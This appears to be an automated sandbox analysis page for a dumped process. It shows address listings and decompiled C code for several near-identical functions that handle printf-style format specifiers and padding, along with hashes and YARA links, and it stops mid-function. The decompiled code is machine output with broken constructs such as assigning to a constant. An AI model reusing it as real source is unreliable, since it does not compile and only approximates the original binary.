0x00c6f1e4
0x00c6f1e9
0x00c6f1ec
0x00c6f1ee
0x00c6f1f0
0x00c6f1f3
0x00c6f1f6
0x00c6f201
0x00c6f206
0x00c6f206
0x00c6f1f6
0x00c6f20d
0x00c6f212
0x00c6f215
0x00c6f218
0x00c6f21d
0x00c6f220
0x00c6f222
0x00c6f229
0x00c6f22e
0x00c6f222
0x00c6f231
0x00000000
0x00c6f231
0x00c6f196
0x00c6f197
0x00c6f19a
0x00000000
0x00000000
0x00000000
0x00c6f19a
0x00c6f180
0x00c6f182
0x00000000
0x00000000
0x00000000
0x00c6f182
0x00c6f169
0x00c6f16a
0x00c6f16d
0x00000000
0x00000000
0x00c6f16f
0x00000000
0x00c6f16f
0x00c6f15c
0x00000000
0x00c6f15c
0x00c6f14d
0x00c6f14e
0x00c6f151
0x00000000
0x00000000
0x00000000
0x00c6f151
0x00c6f111
0x00c6f114
0x00c6f116
0x00c6f11c
0x00c6f11e
0x00c6f130
0x00c6f132
0x00c6f134
0x00c6f136
0x00c6f13a
0x00c6f13c
0x00c6f13c
0x00000000
0x00c6f134
0x00c6f120
0x00c6f122
0x00c6f122
0x00c6f123
0x00c6f125
0x00c6f129
0x00000000
0x00c6f129
0x00c6f118
0x00000000
0x00c6f118
0x00c6f03f
0x00c6f03f
0x00000000
0x00c6f03f
0x00c6f0d3
0x00c6f0d3
0x00c6f0d6
0x00c6f0a5
0x00c6f0a5
0x00c6f0a6
0x00c6f0a8
0x00c6f0aa
0x00000000
0x00c6f0aa
0x00c6f0d8
0x00c6f0db
0x00000000
0x00000000
0x00c6f0e1
0x00c6f048
0x00c6f048
0x00000000
0x00c6f048
0x00c6f074
0x00c6f0bf
0x00000000
0x00c6f0bf
0x00c6f076
0x00c6f079
0x00000000
0x00000000
0x00c6f07b
0x00c6f07e
0x00c6f0b1
0x00c6f0b3
0x00000000
0x00c6f0b3
0x00c6f080
0x00c6f083
0x00c6f0a1
0x00c6f0a1
0x00c6f0a1
0x00c6f0a1
0x00000000
0x00c6f0a1
0x00c6f085
0x00c6f088
0x00c6f09a
0x00000000
0x00c6f09a
0x00c6f08a
0x00c6f08d
0x00000000
0x00000000
0x00c6f091
0x00000000
0x00c6f091
0x00c6f004
0x00000000
0x00000000
0x00c6f00a
0x00c6f00c
0x00c6f04c
0x00c6f04c
0x00c6f04f
0x00c6f068
0x00000000
0x00c6f068
0x00c6f051
0x00c6f051
0x00c6f054
0x00000000
0x00000000
0x00c6f057
0x00c6f05a
0x00000000
0x00000000
0x00c6f05c
0x00c6f05f
0x00000000
0x00c6f05f
0x00c6f00e
0x00c6f046
0x00000000
0x00c6f046
0x00c6f012
0x00000000
0x00000000
0x00c6f01b
0x00000000
0x00000000
0x00c6f020
0x00000000
0x00000000
0x00c6f025
0x00000000
0x00000000
0x00c6f02e
0x00000000
0x00000000
0x00000000

Strings

0, xrefs: 00C6F175

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 525f7aa22bb54827868a2979de3b75d8182f044a8d3983594afe8e0944a4c5dc
Instruction ID: 73f18aa7d9a92ad689db86268e6913f18049c8021579ab282f393b58aa4adb1f
Opcode Fuzzy Hash: 525f7aa22bb54827868a2979de3b75d8182f044a8d3983594afe8e0944a4c5dc
Instruction Fuzzy Hash: 3961BD72600205D6DF3C9A68E8D177E73A6AF02380F50453EE562DB283DB619F879701

Uniqueness

Uniqueness Score: -1.00%

Function 00C6E42C, Relevance: 1.5, Strings: 1, Instructions: 220
COMMONCrypto

Download Yara Rule

C-Code - Quality: 88%

			E00C6E42C(intOrPtr* __ecx) {
				char _v6;
				char _v8;
				signed int _v12;
				void* __ebx;
				char _t51;
				signed int _t52;
				void* _t53;
				signed int _t54;
				signed int _t55;
				signed char _t57;
				signed char _t59;
				signed int _t60;
				void* _t62;
				signed char _t67;
				signed char _t70;
				signed char _t77;
				signed char _t79;
				signed int _t81;
				signed int _t83;
				signed int _t84;
				unsigned int _t90;
				signed int _t91;
				signed int* _t92;
				void* _t94;
				signed int _t97;
				unsigned int _t99;
				signed char _t101;
				void* _t109;
				intOrPtr _t112;
				void* _t116;
				intOrPtr* _t119;
				void* _t121;
				void* _t122;
				void* _t124;
				void* _t125;

				_push(__ecx);
				_push(__ecx);
				_t119 = __ecx;
				_t94 = 0x58;
				_t51 =  *((char*)(__ecx + 0x31));
				_t124 = _t51 - 0x64;
				if(_t124 > 0) {
					__eflags = _t51 - 0x70;
					if(__eflags > 0) {
						_t52 = _t51 - 0x73;
						__eflags = _t52;
						if(_t52 == 0) {
							L9:
							_t53 = E00C7353C(_t119);
							L10:
							if(_t53 != 0) {
								_t54 = E00C6BD92(_t119);
								__eflags = _t54;
								if(_t54 != 0) {
									L71:
									_t55 = 1;
									L72:
									return _t55;
								}
								__eflags =  *(_t119 + 0x30);
								if( *(_t119 + 0x30) != 0) {
									goto L71;
								}
								_t97 = 0;
								_v8 = 0;
								_v6 = 0;
								_t90 =  *(_t119 + 0x20);
								_v12 = 0;
								_t57 = _t90 >> 4;
								__eflags = 1 & _t57;
								if((1 & _t57) == 0) {
									L46:
									_t112 =  *((intOrPtr*)(_t119 + 0x31));
									__eflags = _t112 - 0x78;
									if(_t112 == 0x78) {
										L48:
										_t59 = _t90 >> 5;
										__eflags = _t59 & 0x00000001;
										if((_t59 & 0x00000001) == 0) {
											L50:
											_t91 = 0;
											__eflags = 0;
											L51:
											__eflags = _t112 - 0x61;
											if(_t112 == 0x61) {
												L54:
												_t60 = 1;
												L55:
												__eflags = _t91;
												if(_t91 != 0) {
													L57:
													 *((char*)(_t121 + _t97 - 4)) = 0x30;
													__eflags = _t112 - 0x58;
													if(_t112 == 0x58) {
														L60:
														0x78 = 0x58;
														L61:
														 *((char*)(_t121 + _t97 - 3)) = 0x78;
														_t97 = _t97 + 2;
														__eflags = _t97;
														_v12 = _t97;
														L62:
														_t92 = _t119 + 0x18;
														_t62 = _t119 + 0x448;
														_t116 =  *((intOrPtr*)(_t119 + 0x24)) -  *((intOrPtr*)(_t119 + 0x38)) - _t97;
														__eflags =  *(_t119 + 0x20) & 0x0000000c;
														if(( *(_t119 + 0x20) & 0x0000000c) == 0) {
															E00C68F4E(_t62, 0x20, _t116, _t92);
															_t97 = _v12;
															_t122 = _t122 + 0x10;
														}
														_push(_t119 + 0xc);
														E00C7567B(_t119 + 0x448,  &_v8, _t97, _t92);
														_t99 =  *(_t119 + 0x20);
														_t67 = _t99 >> 3;
														__eflags = _t67 & 0x00000001;
														if((_t67 & 0x00000001) != 0) {
															_t101 = _t99 >> 2;
															__eflags = _t101 & 0x00000001;
															if((_t101 & 0x00000001) == 0) {
																E00C68F4E(_t119 + 0x448, 0x30, _t116, _t92);
																_t122 = _t122 + 0x10;
															}
														}
														E00C75163(_t119, _t112, 0);
														__eflags =  *_t92;
														if( *_t92 >= 0) {
															_t70 =  *(_t119 + 0x20) >> 2;
															__eflags = _t70 & 0x00000001;
															if((_t70 & 0x00000001) != 0) {
																E00C68F4E(_t119 + 0x448, 0x20, _t116, _t92);
															}
														}
														goto L71;
													}
													__eflags = _t112 - 0x41;
													if(_t112 == 0x41) {
														goto L60;
													}
													goto L61;
												}
												__eflags = _t60;
												if(_t60 == 0) {
													goto L62;
												}
												goto L57;
											}
											__eflags = _t112 - 0x41;
											if(_t112 == 0x41) {
												goto L54;
											}
											_t60 = 0;
											goto L55;
										}
										_t91 = 1;
										goto L51;
									}
									__eflags = _t112 - 0x58;
									if(_t112 != 0x58) {
										goto L50;
									}
									goto L48;
								}
								_t77 = _t90 >> 6;
								__eflags = 1 & _t77;
								if((1 & _t77) == 0) {
									__eflags = 1 & _t90;
									if((1 & _t90) == 0) {
										_t79 = _t90 >> 1;
										__eflags = 1 & _t79;
										if((1 & _t79) != 0) {
											_v8 = 0x20;
											_t97 = 1;
											_v12 = 1;
										}
										goto L46;
									}
									_v8 = 0x2b;
									L43:
									_t97 = 1;
									_v12 = 1;
									goto L46;
								}
								_v8 = 0x2d;
								goto L43;
							}
							L11:
							_t55 = 0;
							goto L72;
						}
						_t81 = _t52;
						__eflags = _t81;
						if(__eflags == 0) {
							L28:
							_push(0);
							_push(0xa);
							L29:
							_t53 = E00C71FAB(_t119, _t109, __eflags);
							goto L10;
						}
						__eflags = _t81 - 3;
						if(__eflags != 0) {
							goto L11;
						}
						_push(0);
						L13:
						_push(0x10);
						goto L29;
					}
					if(__eflags == 0) {
						_t53 = E00C732AB(__ecx);
						goto L10;
					}
					__eflags = _t51 - 0x67;
					if(_t51 <= 0x67) {
						L30:
						_t53 = E00C70641(0, _t119);
						goto L10;
					}
					__eflags = _t51 - 0x69;
					if(_t51 == 0x69) {
						L27:
						_t2 = _t119 + 0x20;
						 *_t2 =  *(_t119 + 0x20) | 0x00000010;
						__eflags =  *_t2;
						goto L28;
					}
					__eflags = _t51 - 0x6e;
					if(_t51 == 0x6e) {
						_t53 = E00C72CCE(__ecx, _t109);
						goto L10;
					}
					__eflags = _t51 - 0x6f;
					if(_t51 != 0x6f) {
						goto L11;
					}
					_t53 = E00C73153(__ecx);
					goto L10;
				}
				if(_t124 == 0) {
					goto L27;
				}
				_t125 = _t51 - _t94;
				if(_t125 > 0) {
					_t83 = _t51 - 0x5a;
					__eflags = _t83;
					if(_t83 == 0) {
						_t53 = E00C6FC8F(0, __ecx);
						goto L10;
					}
					_t84 = _t83 - 7;
					__eflags = _t84;
					if(_t84 == 0) {
						goto L30;
					}
					__eflags = _t84;
					if(__eflags != 0) {
						goto L11;
					}
					L17:
					_t53 = E00C7148F(0, _t119, __eflags, 0);
					goto L10;
				}
				if(_t125 == 0) {
					_push(1);
					goto L13;
				}
				if(_t51 == 0x41) {
					goto L30;
				}
				if(_t51 == 0x43) {
					goto L17;
				}
				if(_t51 <= 0x44) {
					goto L11;
				}
				if(_t51 <= 0x47) {
					goto L30;
				}
				if(_t51 != 0x53) {
					goto L11;
				}
				goto L9;
			}

0x00c6e431
0x00c6e432
0x00c6e435
0x00c6e43b
0x00c6e43c
0x00c6e440
0x00c6e443
0x00c6e4b1
0x00c6e4b4
0x00c6e503
0x00c6e503
0x00c6e506
0x00c6e472
0x00c6e474
0x00c6e479
0x00c6e47b
0x00c6e523
0x00c6e528
0x00c6e52a
0x00c6e667
0x00c6e667
0x00c6e669
0x00c6e66c
0x00c6e66c
0x00c6e530
0x00c6e533
0x00000000
0x00000000
0x00c6e539
0x00c6e53b
0x00c6e53f
0x00c6e544
0x00c6e54a
0x00c6e54d
0x00c6e550
0x00c6e552
0x00c6e583
0x00c6e583
0x00c6e586
0x00c6e589
0x00c6e590
0x00c6e592
0x00c6e595
0x00c6e597
0x00c6e59d
0x00c6e59d
0x00c6e59d
0x00c6e59f
0x00c6e59f
0x00c6e5a2
0x00c6e5ad
0x00c6e5ad
0x00c6e5af
0x00c6e5af
0x00c6e5b1
0x00c6e5b7
0x00c6e5b7
0x00c6e5bc
0x00c6e5bf
0x00c6e5ca
0x00c6e5cc
0x00c6e5cd
0x00c6e5cd
0x00c6e5d1
0x00c6e5d1
0x00c6e5d4
0x00c6e5d7
0x00c6e5db
0x00c6e5e1
0x00c6e5e7
0x00c6e5e9
0x00c6e5ed
0x00c6e5f4
0x00c6e5f9
0x00c6e5fc
0x00c6e5fc
0x00c6e602
0x00c6e60f
0x00c6e614
0x00c6e619
0x00c6e61c
0x00c6e61e
0x00c6e620
0x00c6e623
0x00c6e626
0x00c6e633
0x00c6e638
0x00c6e638
0x00c6e626
0x00c6e63f
0x00c6e644
0x00c6e647
0x00c6e64c
0x00c6e64f
0x00c6e651
0x00c6e65e
0x00c6e663
0x00c6e651
0x00000000
0x00c6e666
0x00c6e5c1
0x00c6e5c4
0x00000000
0x00000000
0x00000000
0x00c6e5c6
0x00c6e5b3
0x00c6e5b5
0x00000000
0x00000000
0x00000000
0x00c6e5b5
0x00c6e5a4
0x00c6e5a7
0x00000000
0x00000000
0x00c6e5a9
0x00000000
0x00c6e5a9
0x00c6e599
0x00000000
0x00c6e599
0x00c6e58b
0x00c6e58e
0x00000000
0x00000000
0x00000000
0x00c6e58e
0x00c6e556
0x00c6e559
0x00c6e55b
0x00c6e563
0x00c6e565
0x00c6e574
0x00c6e576
0x00c6e578
0x00c6e57a
0x00c6e57e
0x00c6e580
0x00c6e580
0x00000000
0x00c6e578
0x00c6e567
0x00c6e56b
0x00c6e56b
0x00c6e56d
0x00000000
0x00c6e56d
0x00c6e55d
0x00000000
0x00c6e55d
0x00c6e481
0x00c6e481
0x00000000
0x00c6e481
0x00c6e50d
0x00c6e50d
0x00c6e510
0x00c6e4e2
0x00c6e4e2
0x00c6e4e3
0x00c6e4e5
0x00c6e4e7
0x00000000
0x00c6e4e7
0x00c6e512
0x00c6e515
0x00000000
0x00000000
0x00c6e51b
0x00c6e48a
0x00c6e48a
0x00000000
0x00c6e48a
0x00c6e4b6
0x00c6e4f9
0x00000000
0x00c6e4f9
0x00c6e4b8
0x00c6e4bb
0x00c6e4ee
0x00c6e4f0
0x00000000
0x00c6e4f0
0x00c6e4bd
0x00c6e4c0
0x00c6e4de
0x00c6e4de
0x00c6e4de
0x00c6e4de
0x00000000
0x00c6e4de
0x00c6e4c2
0x00c6e4c5
0x00c6e4d7
0x00000000
0x00c6e4d7
0x00c6e4c7
0x00c6e4ca
0x00000000
0x00000000
0x00c6e4ce
0x00000000
0x00c6e4ce
0x00c6e445
0x00000000
0x00000000
0x00c6e44b
0x00c6e44d
0x00c6e48e
0x00c6e48e
0x00c6e491
0x00c6e4aa
0x00000000
0x00c6e4aa
0x00c6e493
0x00c6e493
0x00c6e496
0x00000000
0x00000000
0x00c6e499
0x00c6e49c
0x00000000
0x00000000
0x00c6e49e
0x00c6e4a1
0x00000000
0x00c6e4a1
0x00c6e44f
0x00c6e488
0x00000000
0x00c6e488
0x00c6e454
0x00000000
0x00000000
0x00c6e45d
0x00000000
0x00000000
0x00c6e462
0x00000000
0x00000000
0x00c6e467
0x00000000
0x00000000
0x00c6e470
0x00000000
0x00000000
0x00000000

Strings

0, xrefs: 00C6E5B7

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: b7236f4da7c166b9e7ddd370114a22bcc77e554becc7b670a020246acc2afb5c
Instruction ID: 1c2aec5794ac297261c5e58039b03e212bd692e3c0321cd1ab97d7fdb7f0e818
Opcode Fuzzy Hash: b7236f4da7c166b9e7ddd370114a22bcc77e554becc7b670a020246acc2afb5c
Instruction Fuzzy Hash: E651BA7860064897DF388ABD88D57BE678A9F11308F14441FF8A3CB692EE12DF49D752

Uniqueness

Uniqueness Score: -1.00%

Function 00C6DD87, Relevance: 1.5, Strings: 1, Instructions: 220
COMMONCrypto

Download Yara Rule

C-Code - Quality: 85%

			E00C6DD87(intOrPtr* __ecx) {
				char _v6;
				char _v8;
				signed int _v12;
				void* __ebx;
				char _t51;
				signed int _t52;
				void* _t53;
				signed int _t54;
				signed int _t55;
				signed char _t57;
				signed char _t59;
				signed int _t60;
				void* _t62;
				signed char _t67;
				signed char _t70;
				signed char _t77;
				signed char _t79;
				signed int _t81;
				signed int _t83;
				signed int _t84;
				unsigned int _t90;
				signed int _t91;
				signed int* _t92;
				void* _t94;
				signed int _t97;
				unsigned int _t99;
				signed char _t101;
				void* _t109;
				intOrPtr _t112;
				void* _t116;
				intOrPtr* _t119;
				void* _t121;
				void* _t122;
				void* _t124;
				void* _t125;

				_push(__ecx);
				_push(__ecx);
				_t119 = __ecx;
				_t94 = 0x58;
				_t51 =  *((char*)(__ecx + 0x31));
				_t124 = _t51 - 0x64;
				if(_t124 > 0) {
					__eflags = _t51 - 0x70;
					if(__eflags > 0) {
						_t52 = _t51 - 0x73;
						__eflags = _t52;
						if(_t52 == 0) {
							L9:
							_t53 = E00C733DC(_t119);
							L10:
							if(_t53 != 0) {
								_t54 = E00C6BD7B(_t119);
								__eflags = _t54;
								if(_t54 != 0) {
									L71:
									_t55 = 1;
									L72:
									return _t55;
								}
								__eflags =  *(_t119 + 0x30);
								if( *(_t119 + 0x30) != 0) {
									goto L71;
								}
								_t97 = 0;
								_v8 = 0;
								_v6 = 0;
								_t90 =  *(_t119 + 0x20);
								_v12 = 0;
								_t57 = _t90 >> 4;
								__eflags = 1 & _t57;
								if((1 & _t57) == 0) {
									L46:
									_t112 =  *((intOrPtr*)(_t119 + 0x31));
									__eflags = _t112 - 0x78;
									if(_t112 == 0x78) {
										L48:
										_t59 = _t90 >> 5;
										__eflags = _t59 & 0x00000001;
										if((_t59 & 0x00000001) == 0) {
											L50:
											_t91 = 0;
											__eflags = 0;
											L51:
											__eflags = _t112 - 0x61;
											if(_t112 == 0x61) {
												L54:
												_t60 = 1;
												L55:
												__eflags = _t91;
												if(_t91 != 0) {
													L57:
													 *((char*)(_t121 + _t97 - 4)) = 0x30;
													__eflags = _t112 - 0x58;
													if(_t112 == 0x58) {
														L60:
														0x78 = 0x58;
														L61:
														 *((char*)(_t121 + _t97 - 3)) = 0x78;
														_t97 = _t97 + 2;
														__eflags = _t97;
														_v12 = _t97;
														L62:
														_t92 = _t119 + 0x18;
														_t62 = _t119 + 0x448;
														_t116 =  *((intOrPtr*)(_t119 + 0x24)) -  *((intOrPtr*)(_t119 + 0x38)) - _t97;
														__eflags =  *(_t119 + 0x20) & 0x0000000c;
														if(( *(_t119 + 0x20) & 0x0000000c) == 0) {
															E00C68ED3(_t62, 0x20, _t116, _t92);
															_t97 = _v12;
															_t122 = _t122 + 0x10;
														}
														_push(_t119 + 0xc);
														E00C75623(_t119 + 0x448,  &_v8, _t97, _t92);
														_t99 =  *(_t119 + 0x20);
														_t67 = _t99 >> 3;
														__eflags = _t67 & 0x00000001;
														if((_t67 & 0x00000001) != 0) {
															_t101 = _t99 >> 2;
															__eflags = _t101 & 0x00000001;
															if((_t101 & 0x00000001) == 0) {
																E00C68ED3(_t119 + 0x448, 0x30, _t116, _t92);
																_t122 = _t122 + 0x10;
															}
														}
														E00C74F6E(_t119, _t112, 0);
														__eflags =  *_t92;
														if( *_t92 >= 0) {
															_t70 =  *(_t119 + 0x20) >> 2;
															__eflags = _t70 & 0x00000001;
															if((_t70 & 0x00000001) != 0) {
																E00C68ED3(_t119 + 0x448, 0x20, _t116, _t92);
															}
														}
														goto L71;
													}
													__eflags = _t112 - 0x41;
													if(_t112 == 0x41) {
														goto L60;
													}
													goto L61;
												}
												__eflags = _t60;
												if(_t60 == 0) {
													goto L62;
												}
												goto L57;
											}
											__eflags = _t112 - 0x41;
											if(_t112 == 0x41) {
												goto L54;
											}
											_t60 = 0;
											goto L55;
										}
										_t91 = 1;
										goto L51;
									}
									__eflags = _t112 - 0x58;
									if(_t112 != 0x58) {
										goto L50;
									}
									goto L48;
								}
								_t77 = _t90 >> 6;
								__eflags = 1 & _t77;
								if((1 & _t77) == 0) {
									__eflags = 1 & _t90;
									if((1 & _t90) == 0) {
										_t79 = _t90 >> 1;
										__eflags = 1 & _t79;
										if((1 & _t79) != 0) {
											_v8 = 0x20;
											_t97 = 1;
											_v12 = 1;
										}
										goto L46;
									}
									_v8 = 0x2b;
									L43:
									_t97 = 1;
									_v12 = 1;
									goto L46;
								}
								_v8 = 0x2d;
								goto L43;
							}
							L11:
							_t55 = 0;
							goto L72;
						}
						_t81 = _t52;
						__eflags = _t81;
						if(__eflags == 0) {
							L28:
							_push(0);
							_push(0xa);
							L29:
							_t53 = E00C71B88(_t119, _t109, __eflags);
							goto L10;
						}
						__eflags = _t81 - 3;
						if(__eflags != 0) {
							goto L11;
						}
						_push(0);
						L13:
						_push(0x10);
						goto L29;
					}
					if(__eflags == 0) {
						_t53 = E00C73263(__ecx);
						goto L10;
					}
					__eflags = _t51 - 0x67;
					if(_t51 <= 0x67) {
						L30:
						_t53 = E00C70228(0, _t119);
						goto L10;
					}
					__eflags = _t51 - 0x69;
					if(_t51 == 0x69) {
						L27:
						_t2 = _t119 + 0x20;
						 *_t2 =  *(_t119 + 0x20) | 0x00000010;
						__eflags =  *_t2;
						goto L28;
					}
					__eflags = _t51 - 0x6e;
					if(_t51 == 0x6e) {
						_t53 = E00C72B4F(__ecx, _t109);
						goto L10;
					}
					__eflags = _t51 - 0x6f;
					if(_t51 != 0x6f) {
						goto L11;
					}
					_t53 = E00C730F6(__ecx);
					goto L10;
				}
				if(_t124 == 0) {
					goto L27;
				}
				_t125 = _t51 - _t94;
				if(_t125 > 0) {
					_t83 = _t51 - 0x5a;
					__eflags = _t83;
					if(_t83 == 0) {
						_t53 = E00C6FB03(0, __ecx);
						goto L10;
					}
					_t84 = _t83 - 7;
					__eflags = _t84;
					if(_t84 == 0) {
						goto L30;
					}
					__eflags = _t84;
					if(__eflags != 0) {
						goto L11;
					}
					L17:
					_t53 = E00C712B1(0, _t119, __eflags, 0);
					goto L10;
				}
				if(_t125 == 0) {
					_push(1);
					goto L13;
				}
				if(_t51 == 0x41) {
					goto L30;
				}
				if(_t51 == 0x43) {
					goto L17;
				}
				if(_t51 <= 0x44) {
					goto L11;
				}
				if(_t51 <= 0x47) {
					goto L30;
				}
				if(_t51 != 0x53) {
					goto L11;
				}
				goto L9;
			}

0x00c6dd8c
0x00c6dd8d
0x00c6dd90
0x00c6dd96
0x00c6dd97
0x00c6dd9b
0x00c6dd9e
0x00c6de0c
0x00c6de0f
0x00c6de5e
0x00c6de5e
0x00c6de61
0x00c6ddcd
0x00c6ddcf
0x00c6ddd4
0x00c6ddd6
0x00c6de7e
0x00c6de83
0x00c6de85
0x00c6dfc2
0x00c6dfc2
0x00c6dfc4
0x00c6dfc7
0x00c6dfc7
0x00c6de8b
0x00c6de8e
0x00000000
0x00000000
0x00c6de94
0x00c6de96
0x00c6de9a
0x00c6de9f
0x00c6dea5
0x00c6dea8
0x00c6deab
0x00c6dead
0x00c6dede
0x00c6dede
0x00c6dee1
0x00c6dee4
0x00c6deeb
0x00c6deed
0x00c6def0
0x00c6def2
0x00c6def8
0x00c6def8
0x00c6def8
0x00c6defa
0x00c6defa
0x00c6defd
0x00c6df08
0x00c6df08
0x00c6df0a
0x00c6df0a
0x00c6df0c
0x00c6df12
0x00c6df12
0x00c6df17
0x00c6df1a
0x00c6df25
0x00c6df27
0x00c6df28
0x00c6df28
0x00c6df2c
0x00c6df2c
0x00c6df2f
0x00c6df32
0x00c6df36
0x00c6df3c
0x00c6df42
0x00c6df44
0x00c6df48
0x00c6df4f
0x00c6df54
0x00c6df57
0x00c6df57
0x00c6df5d
0x00c6df6a
0x00c6df6f
0x00c6df74
0x00c6df77
0x00c6df79
0x00c6df7b
0x00c6df7e
0x00c6df81
0x00c6df8e
0x00c6df93
0x00c6df93
0x00c6df81
0x00c6df9a
0x00c6df9f
0x00c6dfa2
0x00c6dfa7
0x00c6dfaa
0x00c6dfac
0x00c6dfb9
0x00c6dfbe
0x00c6dfac
0x00000000
0x00c6dfc1
0x00c6df1c
0x00c6df1f
0x00000000
0x00000000
0x00000000
0x00c6df21
0x00c6df0e
0x00c6df10
0x00000000
0x00000000
0x00000000
0x00c6df10
0x00c6deff
0x00c6df02
0x00000000
0x00000000
0x00c6df04
0x00000000
0x00c6df04
0x00c6def4
0x00000000
0x00c6def4
0x00c6dee6
0x00c6dee9
0x00000000
0x00000000
0x00000000
0x00c6dee9
0x00c6deb1
0x00c6deb4
0x00c6deb6
0x00c6debe
0x00c6dec0
0x00c6decf
0x00c6ded1
0x00c6ded3
0x00c6ded5
0x00c6ded9
0x00c6dedb
0x00c6dedb
0x00000000
0x00c6ded3
0x00c6dec2
0x00c6dec6
0x00c6dec6
0x00c6dec8
0x00000000
0x00c6dec8
0x00c6deb8
0x00000000
0x00c6deb8
0x00c6dddc
0x00c6dddc
0x00000000
0x00c6dddc
0x00c6de68
0x00c6de68
0x00c6de6b
0x00c6de3d
0x00c6de3d
0x00c6de3e
0x00c6de40
0x00c6de42
0x00000000
0x00c6de42
0x00c6de6d
0x00c6de70
0x00000000
0x00000000
0x00c6de76
0x00c6dde5
0x00c6dde5
0x00000000
0x00c6dde5
0x00c6de11
0x00c6de54
0x00000000
0x00c6de54
0x00c6de13
0x00c6de16
0x00c6de49
0x00c6de4b
0x00000000
0x00c6de4b
0x00c6de18
0x00c6de1b
0x00c6de39
0x00c6de39
0x00c6de39
0x00c6de39
0x00000000
0x00c6de39
0x00c6de1d
0x00c6de20
0x00c6de32
0x00000000
0x00c6de32
0x00c6de22
0x00c6de25
0x00000000
0x00000000
0x00c6de29
0x00000000
0x00c6de29
0x00c6dda0
0x00000000
0x00000000
0x00c6dda6
0x00c6dda8
0x00c6dde9
0x00c6dde9
0x00c6ddec
0x00c6de05
0x00000000
0x00c6de05
0x00c6ddee
0x00c6ddee
0x00c6ddf1
0x00000000
0x00000000
0x00c6ddf4
0x00c6ddf7
0x00000000
0x00000000
0x00c6ddf9
0x00c6ddfc
0x00000000
0x00c6ddfc
0x00c6ddaa
0x00c6dde3
0x00000000
0x00c6dde3
0x00c6ddaf
0x00000000
0x00000000
0x00c6ddb8
0x00000000
0x00000000
0x00c6ddbd
0x00000000
0x00000000
0x00c6ddc2
0x00000000
0x00000000
0x00c6ddcb
0x00000000
0x00000000
0x00000000

Strings

0, xrefs: 00C6DF12

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: e8ebe6405b13edeeb3455197369a4512058a08d9c7b8d4cb7c4b1396c15c8e5a
Instruction ID: d96281e73ecc83b3332e1866692b7d7a425500b1bd3337ef69a1dccd6f0aadc5
Opcode Fuzzy Hash: e8ebe6405b13edeeb3455197369a4512058a08d9c7b8d4cb7c4b1396c15c8e5a
Instruction Fuzzy Hash: AA516670F047485ADF389E6D88EA7BE67DA9B61300F14051DE4A7DB282CA139F49D362

Uniqueness

Uniqueness Score: -1.00%

Function 00C6E1FA, Relevance: 1.5, Strings: 1, Instructions: 216
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E00C6E1FA(intOrPtr* __ecx) {
				char _v6;
				char _v8;
				signed int _v12;
				void* __ebx;
				char _t51;
				signed int _t52;
				void* _t53;
				signed int _t54;
				signed char _t56;
				signed char _t58;
				signed int _t59;
				void* _t61;
				signed char _t66;
				signed char _t69;
				signed char _t76;
				signed char _t78;
				signed int _t80;
				signed int _t82;
				signed int _t83;
				unsigned int _t89;
				signed int _t90;
				signed int* _t91;
				void* _t93;
				signed int _t95;
				unsigned int _t97;
				signed char _t99;
				void* _t107;
				intOrPtr _t110;
				void* _t114;
				intOrPtr* _t117;
				void* _t119;
				void* _t120;
				void* _t122;
				void* _t123;

				_push(__ecx);
				_push(__ecx);
				_t117 = __ecx;
				_t93 = 0x58;
				_t51 =  *((char*)(__ecx + 0x31));
				_t122 = _t51 - 0x64;
				if(_t122 > 0) {
					__eflags = _t51 - 0x70;
					if(__eflags > 0) {
						_t52 = _t51 - 0x73;
						__eflags = _t52;
						if(_t52 == 0) {
							L9:
							_t53 = E00C734CB(_t117);
							L10:
							if(_t53 != 0) {
								__eflags =  *(_t117 + 0x30);
								if( *(_t117 + 0x30) != 0) {
									L70:
									_t54 = 1;
									L71:
									return _t54;
								}
								_t95 = 0;
								_v8 = 0;
								_v6 = 0;
								_t89 =  *(_t117 + 0x20);
								_v12 = 0;
								_t56 = _t89 >> 4;
								__eflags = 1 & _t56;
								if((1 & _t56) == 0) {
									L45:
									_t110 =  *((intOrPtr*)(_t117 + 0x31));
									__eflags = _t110 - 0x78;
									if(_t110 == 0x78) {
										L47:
										_t58 = _t89 >> 5;
										__eflags = _t58 & 0x00000001;
										if((_t58 & 0x00000001) == 0) {
											L49:
											_t90 = 0;
											__eflags = 0;
											L50:
											__eflags = _t110 - 0x61;
											if(_t110 == 0x61) {
												L53:
												_t59 = 1;
												L54:
												__eflags = _t90;
												if(_t90 != 0) {
													L56:
													 *((char*)(_t119 + _t95 - 4)) = 0x30;
													__eflags = _t110 - 0x58;
													if(_t110 == 0x58) {
														L59:
														0x78 = 0x58;
														L60:
														 *((char*)(_t119 + _t95 - 3)) = 0x78;
														_t95 = _t95 + 2;
														__eflags = _t95;
														_v12 = _t95;
														L61:
														_t91 = _t117 + 0x18;
														_t61 = _t117 + 0x448;
														_t114 =  *((intOrPtr*)(_t117 + 0x24)) -  *((intOrPtr*)(_t117 + 0x38)) - _t95;
														__eflags =  *(_t117 + 0x20) & 0x0000000c;
														if(( *(_t117 + 0x20) & 0x0000000c) == 0) {
